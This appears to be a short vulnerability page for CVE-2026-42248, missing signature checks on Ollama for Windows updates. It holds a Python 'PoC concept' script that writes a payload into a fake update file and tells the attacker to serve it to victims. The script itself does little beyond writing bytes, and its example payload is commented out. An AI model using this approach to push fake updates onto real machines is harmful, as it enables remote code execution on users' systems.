CVE-2026-42248 Ollama Windows更新验证缺失致RCE

#!/usr/bin/env python3 """ PoC Concept for CVE-2026-42248 This script demonstrates how an attacker could prepare a malicious payload targeting the lack of signature verification in Ollama for Windows updates. """ import struct def create_fake_update(payload_bytes, output_file): """ Simulates creating an update package. Since no signature is checked, the binary structure only needs to be valid enough for the execution flow. """ with open(output_file, 'wb') as f: # Write the malicious payload (e.g., shellcode or PE file) f.write(payload_bytes) print(f"[+] Malicious update package generated: {output_file}") print("[+] Serve this file when the victim requests an update.") # Example usage (simulated) # malicious_payload = b'MZ\x90\x00... (PE Header)' # create_fake_update(malicious_payload, 'ollama-windows-update.exe')